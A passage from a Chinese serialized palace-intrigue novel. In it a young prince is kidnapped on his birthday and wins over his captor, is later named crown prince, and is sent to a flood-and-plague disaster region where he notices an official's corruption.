“去,都去后头坐自个的马车去。”许惟一拉着柳清宁,以伴读的身份骄傲地上了师离忱的马车。 外出游玩,各家都备了车马,也有乐意自个骑马出去的,一些十几岁的少年正是爱折腾的年纪,晓得位置的便骑马先行一步。 马车里。 师离忱心情并不算太好,颇为头疼道:“……怎么喊了这么多人?”瞧着也不像是省心的。 “热闹嘛。”许惟一笑嘻嘻凑过来,“不过我就喊了几个与我相熟的,还有国子监的学长,其他人都是听说有乐子,便自个跟过来了。听闻是给殿下庆生,多数都备了些礼。” 师离忱好奇道:“那你打算送我什么?” “到庄上您就知道了。”许惟一笑得神秘。 师离忱翻了个白眼,“故弄玄虚。”随即转眸看向一旁,安安静静正襟危坐的柳清宁,挑眉道:“清宁呢?” 柳清宁乍然被点名,愣怔一瞬,半大的少年耳尖红红,眼神躲避着不大好意思羞怯道:“不是什么值钱物件……” 他一边说着,一边掏出了一个小巧木盒,低头呈送过来,“料子算不得精细,还望殿下勿嫌。” 师离忱接过,打开瞧了眼,是一枚通体翠绿的腰佩,雕得不细致,是个简简单单的云纹图样。 许惟一“咦”了声,盯着瞧了阵,琢磨道:“柳清宁,这是你自个雕的吧?” 柳清宁呛了两声,瞪了眼许惟一,“多嘴。” “嘿你还不好意思……”许惟一大笑。 师离忱笑了笑道:“有心了,我很喜欢。”说话间隙,他顺手将腰佩挂在了腰身位置。 翠色云纹垂坠在锦白衣摆,尾端玄下流苏与珍珠轻轻摇曳。 许惟一支着下巴,打趣道:“殿下风姿过人,等再过几年,京都不知多少贵女要被殿下迷死咯。” 师离忱忍无可忍,轻踹了他一脚,笑骂道:“讨打!” “……” 听着车厢内传来一阵打闹的动静,外头驾车的乐福安眉头总算松快了些。总算叫殿下不在烦心。 * 许惟一名下的城郊场子范围挺大,占了一整座山,上山沿途过来栽着银杏树,地面已经铺了一层叶子,还有叶子零零散散的落下来。 澄灿灿一片,耀眼又吸睛。 到了庄子里置办的茶歇,安排跟随侍奉的小厮一应俱全,师离忱马车停下后,后头紧随的马车也陆陆续续停下,公子哥们七七八八地下了车。 庄子门前已经站着八九个早早骑马赶到的少爷们,其中一人喜笑颜开地和众人招手,“都快些来。” 他指着其中一个身姿魁梧的冷脸男子,嘲笑道:“刚刚房二少等急了,居然在那边踢石子玩。” 都是血气方刚年岁的儿郎,不拘泥于礼仪,师离忱也不介意这些,只是顺着方向看了眼那抱臂而立的青年。 恰好对上对方冷漠的眼神,师离忱顿了顿,向对方微微颔首。房家砚漠然地移开了视线。 无人注意到这番插曲。 师离忱很快就被诸人簇拥着进了庄子,都说三个人中会诞生一个点子王,一帮闹哄哄的年轻人,在场没一个及冠的,正是不知天高地厚的年岁,啥都敢干。 左边掏出来一个,“我从我爹书房偷来的砚台。”右边摸出来一个,“我从我兄长金库里淘到的夜明珠。”一股脑的送过来,不知谁说了句“不如我家摆正厅的物件。”一下激起了攀比之心。 几个人吵作一团,一个说自家兄长厉害,一个说自家父亲更厉害,从天上吵到地下,最后斗起了蛐蛐,以此作为决一胜负。 这些东西,师离忱叫乐福安一个都别收,回头让他们自个带回去。 凑在一块玩闹了一日,掐着时间,乐福安提醒道:“殿下,该回了,宫门晚些落锁。” 他瞧着殿下无声叹了一下,放下捧着的杯子道:“那便走吧。” 话音落下,乐福安注意到殿下看了眼那帮围坐一团看似要掐起来,实则正在玩乐的少爷们,眼中神色温和。 他轻声道:“殿下喜欢,改日有机会还能同他们一块再聚聚。” 闻言。 师离忱摇摇头,不多说道:“走吧。” “我送殿下。”许惟一追上来,嘟囔道:“旁人的贺礼殿下不要,但我送的殿下可一定得带走,怎么能只收柳清宁的,同样是殿下的伴读,可不能厚此薄彼。” 师离忱还真没注意许惟一要送什么,侧目问道:“你备了什么?” “一匹绝佳汗血宝马,赤红的,还是一匹小马。”许惟一骄傲地挺了挺胸膛,“我托人寻了好久在找到那么一匹,殿下带回去养一养,再过两年正好骑着外出。” 师离忱扬眉道:“成。” 他应了,乐福安便招了招手,指使着跟来的侍从去牵马,这些都是宫中拨来的,办事妥帖。 到了门前,师离忱便对二人道:“都回去吧,不必再送,玩得尽兴些。” 许惟一与柳清宁一同行礼,“殿下路上小心。” 二人站在门前,目送车马队缓缓驶离。 许惟一嘟囔道:“殿下瞧着似乎有心事……今日都没怎么笑,也就斗蛐蛐那会儿一块闹了闹。” 柳清宁皱眉,认真道:“殿下身在宫中,被多双眼睛日日盯着,自然不自在。如今能这样出来透透气,已然难得,或许只是不知该如何与旁人自处。” 当然,也有旁人不敢轻易靠近。 虽说今日规矩没那般严苛,可没人真的会摒弃身份地位,真正的和一个皇子打闹在一块,多少都拿捏了分寸,分寸感太重,自然就疏离。 况且如今京都的风声…… 大皇子与四皇子闹的更厉害,便不会有多少人对六殿下上心,瞧瞧那些备礼的,也没几个是诚心,殿下连看都懒得看一眼。 思索间,二人往回走,正撞上了两三个结伴离去之人。 有两位是国子监学生,还有一位许惟一不太熟,听闻是房将军家的二公子,叫房家砚,气势倒是非同凡响,不愧是武将世家的公子…… 不过,作为东道主许惟一并未冷落他们,见迎面走来便打招呼道:“你们也要走了?我备好屋子的,不如留宿一晚,明日邀你们一同去后山游湖?” “不必。”回话的是房家砚,客气道:“阿母还在家等我回去吃饭,便不留宿了,改日有机会再聚。” 另外二人差不多也是如是回答。 许惟一笑着送离了三人,扭头一看柳清宁真皱着眉头盯着那几人的背影,奇怪道:“怎么了?” 柳清宁总觉得哪里不对劲,左右想不出来,收回视线道:“……没事。”总觉得那笑假。 许惟一没好气道,“让你少看会儿书别做那书呆子,多到外头走走,你这幅样子我还以为你撞邪了呢!” 两句话一搅,刚有点眉目的柳清宁思维顿时被搅乱,斯文叫他骂不出脏话,烦躁之余又瞪了许惟一一眼,加快步伐离开此人身侧。 * 落日余晖尚且停在房檐的最尖端,忽闻鼓声响彻,守城禁军听到动静,迅速出动皇城正门提前封闭,禁止一切出入。 京兆尹调遣人马,悄无声息地出动,四处搜寻,对外宣称——“有重罪刑犯出逃”。 实则火光最前方,是阴沉着面孔,目露杀气的乐福安。 他丢出令牌,低声对京兆尹道:“陛下特令,严禁走漏风声。都抓紧些办事,今夜要是寻不到六殿下,咱们这些人一个也别想活!” 京兆尹接住令牌的手都在抖,哪能想到六殿下进城没多久就便走丢了,火急火燎地赶紧吩咐底下人仔细盘查。 乐福安急得跺了好几回脚,恨恼之下,甩了自己两巴掌。 就不该听殿下的! 他就是听了殿下的,殿下说不想要那么多人跟着,想在城中走走,才将侍从遣到周围远远的跟着,连他也是不远不近的距离,谁承想马市里的马儿受惊,突然从马厩中窜出,扰乱了人群。 就这么眨眼的功夫。 殿下就从一帮人眼皮子底下消失了! 乐福安怎能不自责! 都怪他! 都怪他没跟紧殿下! 殿下明明只是个刚过七岁生辰的孩子,就因为平日言谈老成了些,他就放松了警惕! 怪他没有步步跟紧! 也不知殿下现下是否害怕,是否心慌,是否安全……无意识间,他捏着角落砖块的手掌下发出一丝细微的“咔嚓”声。 当务之急,是要找到殿下。 乐福安心慌得厉害,急忙扭头跟着在殿下走失的那条街四周开始寻找,分析错综复杂的地方位置。 那块被捏过的砖,在片刻后,分崩离析。 被内力震得稀碎。 第96章 半笼乌云盖住了少许当空正月,任凭京都城闹得人仰马翻,也无小殿下一丝一毫踪影。 师离忱迷迷瞪瞪地醒了。 周遭一片黑暗,被束缚住的手脚蜷缩在一块,由于勒得太紧,麻过了劲,他好像已经感觉不到手脚的存在。 他好像待在了一个狭小的空间。 师离忱不太舒坦的扭了扭身子,大口呼吸了几下,窸窸窣窣地摸了半天,浑身发软没能爬出来。 “呼——” 忽地一盏烛火亮起。 师离忱被光亮刺到了双目,闭了闭眼,缓缓睁开后他对上了一双冰冷的眼眸,在烛影中忽阴忽暗,森然可怖。 “……房家砚?” 师离忱辨别出了对方,白日才在许惟一的庄子上见过,那双毫不掩饰冷意的眼神,给他留下了深刻印象。 “殿下好记性。”房家砚笑了,站在箱子外居高临下地凝视着师离忱,“殿下似乎不怕?” 师离忱动了动脚,娇嫩的肌肤被粗粝绳索磨得倒吸一口凉气,他缓了缓道:“你胆敢冒着诛九族的脑袋绑我,自然有绑我的道理,如此大费周章只是想杀我,又何必等我醒来。” “错了。” 房家砚微微摇头,他几乎整个人都在阴影中,只有半张脸被烛火映出一层暖色,却显得更是森冷。 “边关有种刑罚,最适用于折磨不肯开口的探子。” 他款款诉说,抽出匕首一下下在刀鞘上研磨,刀刃泛出寒光,“先把人嗓子毒了,然后以药灌入口,吊住性命,随后麻住舌头,让人只能清醒地看着自己的血肉被一片片割下,好刀好手艺,可以保证每一片肉都薄如蝉翼。” 刀尖抵在了师离忱脸颊,轻轻说道:“也不知殿下的身板,可片出多少?” 师离忱面上不见任何怯意,直勾勾盯着房家砚,“可你恨的不是我,杀我只可泄一时私愤,还会给房家带来灾祸,你细听。” 房家砚微微眯眼。 这里似乎是一个封闭的牢笼,不知是隔音太差还是外头动静太大,似乎能隐约听到禁军在墙外那侧小跑而过,甲胄碰撞发出的冰冷器械声。 今夜闹出的动静可真不小。 房家砚骤然沉了脸色,“你不是不受宠?” “你从哪儿听的谣言。”师离忱双手往前递了递,“先松开,放心,我不喊,慢慢同你说。” 左右人也逃不掉。 房家砚割断了绳索,将人从狭小的箱子里提出来,师离忱被勒得浑身麻木将软,干脆靠着箱子坐下,等着缓过劲。 “我今日刚过七岁生辰,尚未到入朝年岁,不可能得罪什么人。只能是有人开罪了你,你惹不起,所以只好绑我泄愤。”他语调冷静,嗓音稚嫩却分析得丝毫不差,房家砚警惕不语。 师离忱继续道:“与我有干系的,如今大皇兄与四皇兄相互闹得厉害,扯不到我头上,那便只有……父皇。你开罪不起,也靠近不了的人。” “……” 房家砚握紧匕首的手紧了紧,盯着师离忱,眼眸沉沉。 师离忱道:“房将军镇守边关多年,与父皇并无龃龉,不可能与父皇有血海深仇。可我曾得知,十年前有一位姓秦的将军,与房将军一同在边关共事,后南晋进犯我朝,秦将军通敌叛国——” “够了!” 刀刃倏然抵在师离忱的咽喉,阻止他接下去的言论,房家砚压低嗓音几乎是咬着牙,一字一顿道:“秦、将、军……没有叛国!” 猜测在这一刻落实。 师离忱唇角缓缓勾起一个笑,“好一个秦将军没有叛国,你有证据吗?身为秦家血脉,你什么都做不了,只能眼睁睁看着仇人稳坐高台!是你无能!” 说话间,他猛地扣住房家砚的手腕。 他的手指纤细修长,房家砚体型偏向健硕魁梧,他的手只能占据房家砚的手腕一半,却像一把冰冷的钳,无法撼动半分。 房家砚感到意外惊愕一瞬,也没想到这么小个人居然有如此大的力道。 师离忱慢慢站起身,扣着匕首一寸寸远离了脖颈,他一边朝房家砚逼近,一边念念有词击溃对方的防线,“你回答不了我的问题,因为你没本事!所以你只敢将你的刀尖对准你仇敌的稚子。” “可这有什么用,哪怕杀了我,你的仇人依然享有无边江山,而你……永远只能像个老鼠一样夹着尾巴在阴暗的地方玩恐吓!!甚至要害得恩人一家被你所连累!哈!房将军捡了个恩将仇报的逆子回来,他简直瞎了眼!” “我不是!我没有!”房家砚怒道,“我不是!” “是吗?”烛台被骤地拿起,逼近,照出了师离忱苍**致的脸颊,二人之间忽然变得明亮。 匕首刀身反射,明明白白地把房家砚茫然惶恐地神色照得清清楚楚,瞳孔震颤,不敢承认。 “空有一身本领的老鼠,你仔细看看,这到底是谁?可曾还有半分秦将军的风骨?!” “……” “…………” 师离忱明显感觉到对方卸去了浑身的力气。 他用力一推。 “当啷。” 匕首落地,房家砚也被一把推倒,颓然地坐着,“可我能如何……我又能如何……” “我可以帮你。” 房家砚抬头。 囚笼周围的黑暗宛若浓雾将二人裹挟。 可面前少年手里端着烛台,像是握着一束昏黄的光,站在那儿修长挺拔,唇角噙笑带着一股与生俱来的矜贵傲气,幽幽语气如蛊惑低语,“事在人为,所行亏心事自然会有痕迹,哪怕是最严密的锦衣卫也会被撬开唇舌,人是最贪心的,只要肯找,未必不能寻到当年线索,为秦老将军翻案。” 房家砚顿了顿,犹疑道:“……你?” “我。”师离忱掀了掀眼皮,波澜不惊道:“你以为,那两个斗得厉害的蠢货真能成太子?” 烛火将少年地笑变得意味深长,下颌微扬,“况且……今日你信也得信,不信也得信。” 房家砚眉头拧起。 就在下一瞬,一股凌冽杀气从后方袭来,房家砚瞳孔微缩敏锐的翻身避过,一柄拂尘当空劈来,在内功加持下,将地面劈出一个凹坑。 来人功力非同小可,深厚至极,有此等身手之人,在月商屈指可数。 房家砚顿时冷汗直流。 师离忱笑吟吟地看向被推开的囚室入口,面色阴森地乐福安,在乐福安预要继续动手之际,令道:“好了,住手。” 他嗔道,“福安,怎么才来?” “殿下赎罪。”乐福安收了手,眼神不善地横了眼房家砚,接过了师离忱手中烛台,弯腰将白日柳清宁送他的腰坠重新挂了回去,自责道:“都怪奴才愚钝,前些时候才发觉您的玉坠,这才循着香找来。” 话音落下,乐福安扫向房家砚,语调也冷下来,问:“您瞧,这贼人是打算如何处置?” 他道,“陛下封锁了京都,调遣了禁军与死士还在外头寻您,只是用了旁的由头……您出事的风声尚未传出,您若是想,咱家这就将禁军唤来,势要治这房家一个大逆不道的罪!” “不可!”房家砚反应过来,飞快思索一番,看清形势也明白了过来。 他迅速转变了姿势朝师离忱单膝跪下,道:“殿下,一切罪责皆在我身。若有需要,您尽管嘱咐便是。” 师离忱道:“那你去边疆吧。” 房家砚不明所以。 师离忱笑眯眯道:“你空有一身功夫,又养在房将军膝下,是正正经经武将世家的公子,立功与你而言,应当不难。莫非你想怀着仇恨,浑浑噩噩就这么过下去?” “自然不是!”房家砚顿了顿,垂首道,“我明早便给家父传信,动身前往边关。” 师离忱满意道:“今日之事,我便当未曾发生。” 他拍了拍房家砚的肩膀,轻声道:“你且放心,好好立功,你功成之日——” 空气中响起一声轻笑。 “自然便是秦老将军翻案之时。” 第97章 二人悄无声息地离开将军府。 折腾了大半夜的锦衣卫与禁军很快便得到上级消息,刑犯已抓捕归案,不必在继续搜寻。 京都城中总算安静了下来。 只是皇城宫门悄悄打开了一道缝隙。 千秋殿。 这个时辰纯妃早已歇下,主殿的灯都熄了,可侧殿的灯点得灯火通明,一身玄衣的师明渊正坐上首,面色沉冷。 空气沉寂,师离忱进门后老老实实请安。 大监瞧了眼陛下脸色,转而挥退了周遭侍奉的宫人,悄悄退出殿外将门关上,空间被留给了父子二人。 “你今日究竟是走失后兴起贪玩,还是有事瞒着朕。”师明渊冷冷道。 师离忱垂首,端得一副乖巧安静的模样,道:“儿臣被人群冲散后,一时兴起,才在宫外多走了会儿,贪玩钻到戏法箱内却不小心睡了过去,听到禁军搜寻动静才惊觉耽误了时辰……” 师明渊面色稍稍缓和,哼道:“平白叫人大费周章的寻你,罚你十板子,明日也不许再出去。” “儿臣遵旨。” 师离忱规矩行礼,送走了皇帝。 大监留下,手中端着一把二寸宽的木尺,面带歉意道:“殿下,得罪了。”说罢,戒尺挥下。 “啪!” 结结实实打在了师离忱摊开的双手掌心,很快浮出红润之色。 他闷哼一声,双唇紧抿,卷翘的长睫耷拉着似是委委屈屈瞧着可怜,大监于心不忍,只得加快速度。 一下两下三下…… 直到打完十下,大监才松下紧绷的肩膀,招呼一侧的乐福安,“快些来搀着你家殿下。” 瞧那小小的身子被搀住,大监俯身温声细语道:“殿下勿怪老奴多嘴,陛下也是为了您好,您且好好养伤吧。” 师离忱又疼又倦得说不出话,乐福安替他回了几句,这才将人送走。 乐福安周遭宫人遣退,侍奉着殿下洗漱,换了寝衣,拿出了药膏屈身跪在师离忱面前,捧起双足。 脚踝被捆过的地方,已经出现了淤紫的痕迹,乐福安神情不愉,低声道:“真是轻饶了他。” 他将药膏在手心搓热,运转内力贴到淤紫处,轻轻揉搓以推开内部淤血,达到尽快恢复的目的。 师离忱软软地窝在小榻内,“福安,小八没来吗?” 那日师朝旭说要来与他同寝,可都这会儿都没见到人影。 “估摸着是被贵妃娘娘拦住了。” 这哪个宫中没点其他宫的眼线,得知陛下坐在千秋殿等着收拾人,贵妃娘娘怎么着都不会再让师朝旭过来找师离忱。 师离忱“喔”了声,懒懒地阖上了眼。乐福安去净完了手,重新换了盒药膏,抹开,如法炮制地揉殿下手腕处的痕迹。 幸亏殿下衣袖宽敞,这才将这些痕迹遮盖的严实,否则恐怕怎么解释都解释不清了。 还好只是一些淤痕,今夜推开了,明日大概就散得差不多了,两三日之后约莫就不会再有任何迹象。 收拾好一切,乐福安再去瞧小殿下,这会儿人已经陷在柔软的褥子里,呼吸匀称面容乖巧。 ——睡熟了。 乐福安眸色一软,俯身将小殿下抱起来,换到了榻上,整理好衣裳掖好被角,一如往常地守在踏脚处。 * 次日。 师离忱因生辰被特许休沐,并未去国子监,只是在宫中也无事可做,便拉着乐福安做纸鸢。 待到国子监下学的时间点,纸鸢已有雏形。 窗台上冒出一个脑袋尖。 “皇兄!” 师朝旭踮着脚,瞧见师离忱在屋内,迅速噔噔噔地跑进殿内,手里还抓着两个小糖人。 “皇兄皇兄皇兄!”师朝旭高高兴兴把糖人举到师离忱面前,“皇兄快看,捏的我自己!送给皇兄!” 糖人捏的惟妙惟肖,俨然一个缩小版的师朝旭,捏糖人的人手艺十分精湛。 师离忱接过,端详了片刻。 师朝旭眼睛亮晶晶地盯着师离忱,等待夸赞。 须臾。 师离忱张开嘴。 “咔嚓。” 咬掉了糖人的脑袋,嚼嚼嚼。 他说:“有些甜腻,嗯——”他沉吟,觉得这东西只中看,不中吃。 旁边没人说话,师离忱嚼嚼嚼,还在细品,显然他意识到不对劲的时候,师朝旭的表情已经变得要哭不哭了。 “皇兄……”师朝旭吸了吸鼻子,没绷住‘哇’一声哭出来,“呜呜呜呜我脑袋没了,呜呜呜呜我脑袋被皇兄吃了……呜呜呜呜……皇兄根本不喜欢我……呜呜呜呜……” “……” 别说那么吓人的话。 师离忱垂眸。 看了看手里那串,一口被咬掉脑袋,只剩下半个残破身子的糖人。 “…………” 顿了顿。 师离忱试探地把糖人递回去,“……那,还给你?” 师朝旭看了眼那残破的糖人,顿时哭得更大声了。 一边咧着嘴嗷嗷哭,一边快步往殿外跑,活像个烧开的水壶,烧开水壶抹着眼泪拔腿狂奔,还哭着喊“头被皇兄吃掉了”,引得一众宫人侧目。 乐福安招呼大宫女道:“哎哟,快些跟着八殿下,仔细些!” 师离忱:“……” 他不明白了。 手里的糖人还有一半,他干脆一口塞进嘴里,嘎吱嘎吱全咬碎在嘴里。 …… 日子就这般过得不咸不淡。 京都城中的喧嚣似乎都被阻挡在了千秋殿外,也波及不到国子监。任凭朝堂之上闹得再凶,立储一时也迟迟未有定论。 毕竟天子年岁正盛,大皇子与四皇子背后哪怕站了再多人也无济于事。 时光一年过一年。 直至两年后,一事打破平衡。 陛下于围猎中遇刺,四皇子因受帝王偏爱,恰好站在左侧,遭受殃及被刺客当场射杀与丹霞山。 师明渊也为此伤及肺腑,震怒之下,命锦衣卫彻查此案。帝王銮驾连夜回宫,召集太医院所有院判,太医诊治。 后妃皇子探视,一律不见。 一时间人心惶惶。 师离忱合上书本,问:“刺杀?这个时间,又是谁会刺杀。”比起疑问,他更像是喃喃自语。 偏殿并无其他人影。 他站起身来,指腹点在书案前,光影透过窗棂雕刻的镂空花纹落在他身上,覆盖了一层昏黄的光影。 只短短两年多点的时间,他面容上的稚嫩褪去了许多,身形抽条身量纤细却已有少年人的骨量风姿,眼波间流转透出丝丝漫不经心的冷意。 大皇兄靠着嫡出身份,有先后母家为靠,四皇兄靠着皇帝偏信,给权,二人相互针对已久。 四皇兄一死。 平衡点。 破了。 十一弟今年六岁,满打满算开蒙还没两年,虽是中宫所出,却无让人信服投靠的理由。 如今只剩大皇兄独大,身份合适,又正当适龄…… 师离忱不必多想,都能知道朝中风向如今一定是一面倒,如今父皇又因刺杀身受重伤,明面上看,大皇兄是受益最大之人。 可受益之人,一定就是加害之人? 也未必。 …… 三日后。 大皇子门客刺杀陛下,被就地处死,大皇子难逃罪责,被幽禁府邸。 这一下两个颇有竞争性的皇子都没了,那原先入朝后便默默无闻的二皇子与五皇子突然显得鹤立鸡群。 皇城中皇子存活率并不高。 总归十一位皇子,十一皇子出世后宫中便再无皇子皇女降生,夭折了四个,剩下活着的,老大和老四一个幽禁,一个死了。 那么剩下的,也就老二,老五,老六,老八,老十一。 于是,所有人的目光都投向了正宫所出的十一殿下,哪怕那只是个刚开蒙没多久的稚子。 有人掂量了身世背景,将目光投向了二皇子与八皇子,暗自分析着该怎么站队才能站到正确的位置…… 不料此时,皇帝忽然下了一则诏书。 洋洋洒洒大片溢美之词之中,能看到重点——册立六皇子为太子。诏书一出,内阁简直翻了天,御史台也坐不住。 上奏折子如雪花般飞上御案,一无功绩,二无背景,三未入朝,简直是个三无太子。 毫无征兆的立储,谁能不操心? 当然也有些自以为读懂帝王心的‘聪明人’,私底下商讨时说,“陛下定然是属意于十一皇子,只不过十一殿下年岁太小,总要有个靶子立在前头,六皇子没根基,纯妃又是从民间而来,你说这最后……谁能是赢家?” 显然大部分人都认同这个想法,也很快想到了这层。 皇帝没理会那些对太子有意见的折子,也没得到一定的反应,自然而然也就不在继续上书。 表面功夫做一做就够了,何必惹得皇帝真不高兴。 至此。 册封祭庙过后,六皇子便正式被册立为月商太子,得入朝许可,移出千秋殿,迁入东宫为居。 太傅与太师为文师,授策论文学,穆将军授武课,将每日都排的满满当当。 三位师父早听闻京都风言风语,本着按部就班,授课前并未对六殿下抱有太大期望,可在几堂策论课过后,眼神越来越亮。 师离忱垂首提笔作答时,太傅与太师眼神对视,都能看到对方眼中的欣慰欣赏之色。 两位性情不对付了半辈子的老头,头一回达成了共识。 而半个月前在千秋殿还有空和小宫女学着打璎珞,自打入东宫半个月以来从未有过休沐日的师离忱:“……” 他眼神平静。 在想。 被刺客伤及肺腑,短短三日就从重伤,到处理了大皇兄,在到京都风向转变时立太子……父皇真的伤到肺腑了吗? 第98章 太子已定。 明面上的争端平息,局势渐渐稳定。 乐福安陪着殿下从冬到秋,看着殿下气势愈发沉稳,眼中的锋芒收敛,收买,威逼,利诱,利益绑定,将权术耍弄得炉火纯青,在朝中一步步掌控局势,渐渐稳固地位。 从入朝时的摇摇欲坠,到如今权柄在握,也不过区区一年时光。 可太子终究年少,仍有少部分人心动摇。 太子需要一个彻底立威的契机。 机会来得很突然。 才入夏不久,黄河突然泛滥,冲垮北徐州周边的农田村镇不计其数,成一片汪洋浑泽。 赈灾拨款的银子如流水般涌向北徐州,却犹如杯水车薪。 洪水尚未完全褪去,瘟疫随之而来,当地州府官员根本无法统计出有多少患难者。 灾祸镇不住,就会生动乱。 朝廷指望不上,良民成了贼寇,那源源不断播出的银子,似乎未落到官员手上,越来越多的灾民无路可走,又见州府官兵要划分疫区将人都烧死,一时愤恨之下—— 反了! 兹事体大。 此事成了加急奏报,传上朝堂之上,引得皇帝大怒! “简直是混账!” 奏折从龙椅上丢下,重重摔在地面,“查!朕就不信,几千万两黄金拨出去,灾民却连口热粥都喝不上!” 师离忱站出道:“儿臣愿替父皇分忧,前往灾区安抚灾民。” “好!”师明渊应下,语气威严漠然,“那便去办,办不好这差事,后果你自己担着。” 师离忱道:“儿臣一定尽心尽责。” * 乐福安一早就在收拾东西,他要随殿下一同去北徐州。 此番出行有一批死士暗卫跟随,距离北徐州最近的兵马隶属于淮安总兵调遣,这事闹得大,这块区域兵马调遣已被送到了殿下手中。 除此以外,有精兵护卫跟随。 只不过殿下另有打算,他坐在秋千上轻轻摇晃着,道:“如今百姓饱受折磨,赈灾银又被官场的恶鬼吃了,孤若是在精兵护卫下,大张旗鼓的过去,你猜百姓会不会也将孤吃了?” 许惟一着一身靛青干练劲装,这位刚满十八不久的少年神采奕奕,靠在廊下的柱子问:“殿下打算如何做?” “兵分两路。”师离忱慢悠悠道:“孤单独走。” 柳清宁端着烹好的茶来,难得发表了不赞同的意见:“不可。” 他递了一杯给许惟一,又端了一杯给师离忱,严肃道:“殿下安危为重,岂能单走一路,若是出了什么差池可如何是好?” “小古董说得在理。”许惟一表示赞成,但很快他又笑嘻嘻道,“除非殿下带上我一起。” 柳清宁瞪了一眼许惟一。 自从师离忱被册封为太子,迁入东宫以后,这两位伴读大部分时间都久居在东宫陪驾,太子属官幕僚多半都知道这两人。 师离忱琢磨道,“也成,你与福安随我去,清宁留在京都。” “殿下不带我?”柳清宁迟疑,“此行事务繁多,我便和殿下一同前去吧,也能帮殿下多分担一些。” “有你在京都,消息能准确些。”师离忱看着柳清宁,眼神坚定道:“这京都,孤最信重你了。” “……” 柳清宁张了张嘴,最后无奈地垂首,“是……清宁会随时给殿下消息。” 后头的许惟一捂着嘴偷乐。 …… 临行前,纯妃破天荒的来了趟东宫。 柳清宁和许惟一识眼色的退下,纯妃神情复杂,带来了一件连帽披风,半蹲着替师离忱穿好,手上动作温柔的不像话。 “为娘这些年……待你不够仔细,你莫怨我。”纯妃吸了吸气,眼中有些红泛,声音柔和道,“可怜你这般年岁,还是个孩子,就要承担这样重的担子,如此艰难,一定要去吗?” 师离忱颔首,道:“母妃,孤是太子,自是要多为百姓着想。”更何况储君亲临灾区,比那些莫名其妙的钦差,更易服众,有助于更快平乱。 纯妃叹息,忽地伸出双手抱住了师离忱。 此番举动来得太过突然,以至于师离忱根本没有防备,或者说纯妃对他完全不曾有过这样亲密的动作,直到被紧紧搂住了,他还有些懵,下巴搭在纯妃的肩上,眼睛里透出几分茫然。 他闻到了纯妃身上浅浅的梨花香,母亲的怀抱原来是软软的,是暖的,一举一动都是温和包容的,手心还轻轻抚过他后脑,后背,不徐不疾地拍了拍。 是一个结结实实的拥抱。 “路上要小心,多听多看,莫要被旁人花言巧语所骗……”纯妃轻声叮嘱着即将远行的孩子。 师离忱静静的听。 说着说着,耳边响着的温声细语顿了顿,倏然道:“你父皇近来繁忙,很久没来千秋殿,想来是注意不到为娘这边。” “小离儿瞧瞧是否有那些空位,车底下也好,扮做其他人也好,只要能让为娘跟着你一起出宫……啊,出宫之后为娘绝不给你添乱……” 听到后半段,师离忱被一阵风吹过,把那短暂的温和吹走,也把他吹醒了。 甚至连哄都不愿意多哄一会儿。 他笑了笑,从纯妃的怀里退出来,神色为难道:“母妃,父皇盯东宫盯得严,此行出宫又大费周章,全程都有人盯着,儿臣恐怕没办法带您……不过——” 他话锋一转,道:“或许下回有机会。” 有机会。 就是有希望。 纯妃神色亮了亮,不住的点头,“好,好,好有机会就好,为娘在宫中等你平安归来。” 她急切地想要再抱一抱师离忱,师离忱却退后一步,含笑恭恭敬敬地鞠礼,“母妃,时辰不早了,儿臣该启程了。” “那便不耽误你了。” 纯妃遗憾地收回手,在师离忱的恭送中,从东宫走了出去。 师离忱低头,扯过身上的披风,披风在他身上稍短了一截,上面绣了两片翠青的竹叶。 嗤。 母慈子孝。 他干脆一把扯了下来,丢给了过来的乐福安,冷冷道:“走。” * 前往北徐州分两路,精兵护送着一个空车舆走官道,师离忱先行一步走水道,只带了乐福安随行,许惟一与护送的军队一起行动。 去北徐州的路途遥远,越远离京都,就越能感觉到灾情的实感。并非纸上跃然的几行字,被记载的几个人。 他们是骨瘦嶙峋倒在路边的人,抱着孩子麻木的人,是无食可食啃食泥土的人,是看向女人幼童时眼里人性尚未泯灭的挣扎,是躲在角落里惶恐的人,是苦苦哀求一张船票逃难的人,也是躺在路边一动不动苍蝇围追,被拖到板车拉到疫区将要被烈火焚烧的人…… 有男有女,有老有少。 越靠近北徐州,看得越清楚,他们是活生生的,被官场恶鬼吞吃过,只剩下一副骷髅架子活在世上的人。 那些银子没有实打实的落在百姓头上。 疫区被划分在了一个被洪水覆盖过,已然废弃的镇子上,三十丈以外有把口鼻都捂住的官兵把守,只需进不许出,源源不断的有遭受疫病之人被拉往此处。 镇子里被刨出一个深坑,只要人断气了就往里丢,一把大火从点燃开始就没停下过。 有人被拦在镇子外,浑身像是泥地里爬出来的,瘦削地面颊凹陷,或许是太久没吃东西了,呐喊的气息有气无力,“大人,求求大人们放了我娘,她还有气,别烧她,求求各位大人了……” 然后被官兵一脚踹开,嫌弃的拍了拍鞋子,“晦气!滚远点,小心连你也送进去!” 师离忱四处走走,远远地看了一圈,才道:“可以传信了,和他们说孤到地方了。” 乐福安放出信号。 很快,北徐州府收到了信,携家带口,兴高采烈地在府门前迎接太子殿下,进城时,城外围尚且还能看到灾民,内围便没了半个影子。 北徐州府宅邸周围被清扫的干干净净。 北徐州的州府,是个面相憨厚的中年人,一家老小站在门口,看着太子殿下车舆越靠越近,直到停在府门前。 “微臣北徐州府,恭迎太子殿下圣安。”州府迎上车前,笑得和和气气道,“殿下舟车劳顿,想必是疲乏了,下官已备好了酒菜厢房。” 空气中安静了片刻。 车厢门忽地被打开,一旁的冷面公公扶着一名少年走了出来。 少年年岁不大,紫紶劲装皮革束袖,穿着干练大方身量纤长。因着尚未及冠,那丝滑乌黑的卷发被发带半束,气度不凡,眼神扫来像是有股寒劲,似能透彻人心,背后发毛。 “…………” 嘶。 这半大的小子还真有些唬人。 北徐州府惊了惊,随后又松了口气,俯首道:“恭迎请殿下入府。” 他心中暗嗤,左右不过就是个孩子,能懂什么,陛下敢派太子殿下来简直就是儿戏,糊弄糊弄就过去了。 这个年纪的小子,最爱吃喝玩乐了。 乐福安斥道:“还不带路!” 北徐州府连连称是,往前引路。从头到尾师离忱一句话没说,他的目光淡淡扫过了北徐州府,又落到了他的一家老小身上,又看了看北徐州府身上的衣物。 江南价值千金一匹的织锦丝料。 视线落到女眷头上。 少说值万两银钱的金贵头面。 区区一界州府。 胆子真大,甚至于是藏也不藏,寻思他不认识呢?还是轻瞧了他?一人贪,人人贪啊……这底下牵连的水鬼,比想象的更深。 北徐州是拖不得了。 师离忱收回目光,眸波更冷了些。 第99章 黄河泛滥,洪水带来的灾祸,除了引发北徐州地界周边民生惨绝,也起了一连串的连锁反应。 